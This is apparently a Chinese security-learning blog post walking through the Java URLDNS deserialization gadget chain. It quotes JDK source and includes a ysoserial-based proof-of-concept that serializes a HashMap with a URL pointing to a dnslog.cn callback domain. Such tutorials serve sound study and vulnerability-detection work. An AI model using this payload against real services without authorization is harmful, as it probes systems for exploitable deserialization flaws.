前言 最近在学习java反序列化的知识,先从入门链开始分析,就是这个urldns链,简单来说就是反序列时发送一次dns请求,特点是只用到了jdk自带的类,并不受版本限制,主要用在漏洞检测,查看是否存在反序列化漏洞点。接下来开始分析
原理分析 具体链路就是
1 HashMap.readObject()→HashMap.hash()→URL.hashCode()→URLStreamHandler.getHostAddress()→InetAddress.getByName()
接下来结合代码具体分析
1 2 3 4 5 6 7 8 private int hashCode = -1 ; public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
这里定义的hashCode为-1,就是如果hashCode如果不等于-1就返回,如果等于-1就会执行
1 hashCode = handler.hashCode(this );
看一下hashCode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 protected int hashCode (URL u) { int h = 0 ; String protocol = u.getProtocol(); if (protocol != null ) h += protocol.hashCode(); InetAddress addr = getHostAddress(u); if (addr != null ) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null ) h += host.toLowerCase().hashCode(); } String file = u.getFile(); if (file != null ) h += file.hashCode(); if (u.getPort() == -1 ) h += getDefaultPort(); else h += u.getPort(); String ref = u.getRef(); if (ref != null ) h += ref.hashCode(); return h; }
计算规则是:协议+ip地址+端口+文件路径+锚点。依次通过调用 getProtocol ,getHostAddress,getFile,getPort,getRef 等方法获取到传入的 URL 链接的 Protocol(协议),HostAddress(主机地址),File(文件路径),Port(端口),Ref(锚点,即 # 后面的部分),获取完之后,对每部分调用它们的 hashCode 方法,将结果加到 h 上,最后将 h 返回。
我们主要关注
1 InetAddress addr = getHostAddress(u);
这里处理会解析dns转换为ip,如果转换失败就会用这个域名,看一个getHostAddress
主要功能:获取当前url的主机ip地址,有两种情况返回null
URL 的主机字段为空(URL.getHost() 返回空);
DNS 解析失败(无法将主机名映射为 IP 地址)。
看一下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 synchronized InetAddress getHostAddress () { if (hostAddress != null ) { return hostAddress; } if (host == null || host.isEmpty()) { return null ; } try { hostAddress = InetAddress.getByName(host); } catch (UnknownHostException | SecurityException ex) { return null ; } return hostAddress; }
代码功能就是同上述描述。所以只要URL对象能够调用hashCode方法就可以执行上述过程,那接下来看一个HashMap.readObject()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { ObjectInputStream.GetField fields = s.readFields(); float lf = fields.get("loadFactor" , 0.75f ); if (lf <= 0 || Float.isNaN(lf)) throw new InvalidObjectException ("Illegal load factor: " + lf); lf = Math.min(Math.max(0.25f , lf), 4.0f ); HashMap.UnsafeHolder.putLoadFactor(this , lf); reinitialize(); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) { throw new InvalidObjectException ("Illegal mappings count: " + mappings); } else if (mappings == 0 ) { } else if (mappings > 0 ) { float fc = (float )mappings / lf + 1.0f ; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int )fc)); float ft = (float )cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int )ft : Integer.MAX_VALUE); SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node [cap]; table = tab; for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
这里首先就是重写readObject方法,这样当反序列化时就会调用默认的的方法,而是调用这个重写的readObject方法,前面的可以不,关键代码在
1 putVal(hash(key), key, value, false, false);
这里使用个hash方法,看一下代码
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
这里使用了一个三目运算符,如果key为null,直接返回0,否则调用hashCode()。
当我们把数据放进HashMap时会执行
1 2 3 public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
这是就已经执行执行了hash()方法,讲过上述分析,会发送一次dns请求,hashCode的值已经改变了,不再是-1,那么当反序列化时就不会再发送dns请求。
所以要使用反射修改字段值,再次把hashCode改为-1,这样反序列化之后就可以发送dns请求。这个exp在ysoserial的基础上稍微修改一下,逻辑不变
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.net.URLStreamHandler;import java.util.HashMap;class URLDNSReplay { public static void main (String[] args) throws Exception { String dnslogDomain = "dnhmct.dnslog.cn" ; URLStreamHandler handler = new SilentURLStreamHandler (); URL url = new URL (null , "http://" + dnslogDomain, handler); HashMap<Object, Object> map = new HashMap <>(); map.put(url, dnslogDomain); Field field = URL.class.getDeclaredField("hashCode" ); field.setAccessible(true ); field.setInt(url, -1 ); ByteArrayOutputStream bos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (bos); oos.writeObject(map); ByteArrayInputStream bis = new ByteArrayInputStream (bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bis); ois.readObject(); System.out.println("成功" ); } static class SilentURLStreamHandler extends URLStreamHandler { @Override protected java.net.URLConnection openConnection (java.net.URL u) { return null ; } @Override protected synchronized java.net.InetAddress getHostAddress (java.net.URL u) { return null ; } } }
这里分析最下面的这个自定义类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static class SilentURLStreamHandler extends URLStreamHandler { @Override protected java.net.URLConnection openConnection(java.net.URL u) { return null; } @Override protected synchronized java.net.InetAddress getHostAddress(java.net.URL u) { return null; } } }
这个类继承了URLStreamHandler,重写了两个方法,这里先说一下getHostAddress,这个方法上面说过,是将域名解析为ip,这里从写返回为null,就是为了在paylaod生成的时候不发送dns请求,也就是到
1 map.put(url, dnslogDomain);
这里调用hasCode()时,hashCode还是初始设置的-1,接下来会执行hashCode = handler.hashCode(this);我们又重写了 getHostAddress所以不会发送dns请求,hashCode的值还是会修改。
那么既然重写了getHostAddress,为什么在反序化时调用getHostAddress又会发送dns请求呢?
原因就是因为关键字transient,在代码中定义了
1 transient URLStreamHandler handler;
序列化时不保存transient的数据。序列化时handler不会别写入数据流,那么当反序列化时,jdk就会重新获取一个系统默认的 URLStreamHandler此时的getHostAddress没有被重写,可以执行dns请求。
重写的另一个方法时 openConnection,源代码中定义
1 abstract protected URLConnection openConnection(URL u) throws IOException;
只定义方法名字、参数、返回值不写具体实现,只能让子类重写,不重写代码就运行不了
至此这一条链就分析完了。